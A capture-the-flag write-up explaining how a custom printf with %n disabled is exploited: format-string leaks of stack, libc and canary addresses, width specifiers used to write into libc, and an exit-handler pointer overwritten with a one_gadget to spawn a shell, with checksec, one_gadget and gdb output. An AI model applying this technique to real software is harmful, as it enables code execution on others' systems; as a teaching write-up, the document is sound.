For this challenge, we are given a binary, libc, and linker. The first thing to do is use [patchelf](https://github.com/NixOS/patchelf) so that the binary will be loaded with the correct linker/libc combination. Once this is done, I checked the security levels for the program with checksec. ```    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled ``` Okay, so all protections are turned on. Let's see what the program does.  This is the output by inputing "a\n" for the first prompt and "hello\n" for the second:  ``` ./printf What's your name? Hi,aDo you leave a comment? hello ```  Giving a quick look over the binary in IDA, it is clear that the challenge is running printf on an uncontrolled user string twice. The twist here is that the printf is a custom implementation with ```%n``` disabled. Generating a leak is pretty easy by using the ```%lx``` format specifier. For example:  ``` What's your name?%lx %lx %lx %lxHi,0 7ffff7fc8580 7ffff7eee024 4```
As you can see, we leaked some information from the stack. We are limited to 0x100 input bytes for the first format string, so by putting in a bunch of ```%lx``` tokens, we can leak the base address of the stack, libc, binary, and canary quite easily. 
Okay, with the data leaked we now need to figure out how to write. I spent a long time reversing the printf function and found two interesting things. First, the printf implementation will build the string that it eventually calls ```puts``` on in a different location than your originally provided string. Second, by placing a number after the percent format specifier (```%1000lx``` for example) we are able to adjust the stack pointer by about 1000 bytes. There is a check in the program to ensure the number we provide after the ```%``` is not negative. Thus, we cannot write up the stack and target a return pointer. 
I spent a lot of time experimenting with this by trying to use multiple ```%x``` specifiers to see if I could cause a negative number to be added to the stack pointer. Unfortunatley, this didn't work. However, I realized I was missing something. What is located past the end of the stack in the memory layout? Libc of course! So, by adjusting the number we put after the ```%``` specifier, we can obtain arbitrary write in libc. 
When ```libc_start_main``` returns, it will call the ```exit()``` function. This is important, because a bunch of function pointers are called before the process actually exits. You can check out where this is done in the source code here: [https://code.woboq.org/userspace/glibc/stdlib/exit.c.html](https://code.woboq.org/userspace/glibc/stdlib/exit.c.html). All we need to do now is overwrite one of these function pointers and we will have control of ```rip```!
Before I did this, I checked to see if there were any useful one\_gadgets in the libc we were given. Using the awesome tool [one\_gadget](https://github.com/david942j/one_gadget), I was able to easily find 4!
```one_gadget libc.so.60xe237f execve("/bin/sh", rcx, [rbp-0x70])constraints:  [rcx] == NULL || rcx == NULL  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe2383 execve("/bin/sh", rcx, rdx)constraints:  [rcx] == NULL || rcx == NULL  [rdx] == NULL || rdx == NULL
0xe2386 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL
0x106ef8 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL```
When I first attacked a function pointer in libc, I made sure to replace it with junk (such as 'CCCCCCCC') so that I could inspect the segfault easily and see the state of the registers at the time of the crash. ```Program received signal SIGSEGV, Segmentation fault.0x00007ffff7e28398 in ?? () from target:/home/a/Desktop/tokyo/libc.so.6LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA───────────────────────[ REGISTERS ]─────────────────────── RAX  0x0 RBX  0x7ffff7fc76c8 ◂— 0x4343434343434343 ('CCCCCCCC') RCX  0x0 RDX  0x0 RDI  0x555555559010 ◂— 0x0 RSI  0x1 R8   0x555555559008 ◂— 0x555555559008 R9   0x7ffff7fcd540 ◂— 0x7ffff7fcd540 R10  0x7fffffffe2b4 ◂— 0x1 R11  0x2 R12  0x7ffff7fc76d0 —▸ 0x7ffff7ec3383 (execvpe+979) ◂— mov    rsi, rcx R13  0x1 R14  0x7ffff7fcb108 ◂— 0x0 R15  0x0 RBP  0x0 RSP  0x7fffffffe3f0 ◂— 0x20786c2520786c25 ('%lx %lx ') RIP  0x7ffff7e28398 ◂— call   qword ptr [rbx]────────────────────────[ DISASM ]───────────────────────── ► 0x7ffff7e28398    call   qword ptr [rbx]
   0x7ffff7e2839a    add    rbx, 8   0x7ffff7e2839e    cmp    rbx, r12   0x7ffff7e283a1    jne    0x7ffff7e28398    ↓ ► 0x7ffff7e28398    call   qword ptr [rbx]
   0x7ffff7e2839a    add    rbx, 8   0x7ffff7e2839e    cmp    rbx, r12   0x7ffff7e283a1    jne    0x7ffff7e28398    ↓ ► 0x7ffff7e28398    call   qword ptr [rbx]
   0x7ffff7e2839a    add    rbx, 8   0x7ffff7e2839e    cmp    rbx, r12─────────────────────────[ STACK ]─────────────────────────00:0000│ rsp  0x7fffffffe3f0 ◂— 0x20786c2520786c25 ('%lx %lx ')01:0008│      0x7fffffffe3f8 ◂— 0x120786c2502:0010│      0x7fffffffe400 ◂— '%lx %lx '03:0018│      0x7fffffffe408 ◂— 0x004:0020│      0x7fffffffe410 —▸ 0x555555556a40 ◂— push   r1505:0028│      0x7fffffffe418 —▸ 0x5555555550d0 ◂— xor    ebp, ebp06:0030│      0x7fffffffe420 —▸ 0x7fffffffe520 ◂— 0x107:0038│      0x7fffffffe428 ◂— 0x0───────────────────────[ BACKTRACE ]─────────────────────── ► f 0     7ffff7e28398   f 1     7ffff7e283da   f 2     7ffff7e07b72 __libc_start_main+242Program received signal SIGSEGV (fault address 0x0)```
Luckily, both RCX and RDX are NULL at the time of the crash! All we have to do is write the one\_gadget located at offset 0xe2383 to the location of the function pointer (0x7ffff7fc76c8) in libc and we will get a shell!
That's it! From here, you just run the script and get a flag! TWCTF{Pudding_Pudding_Pudding_purintoehu}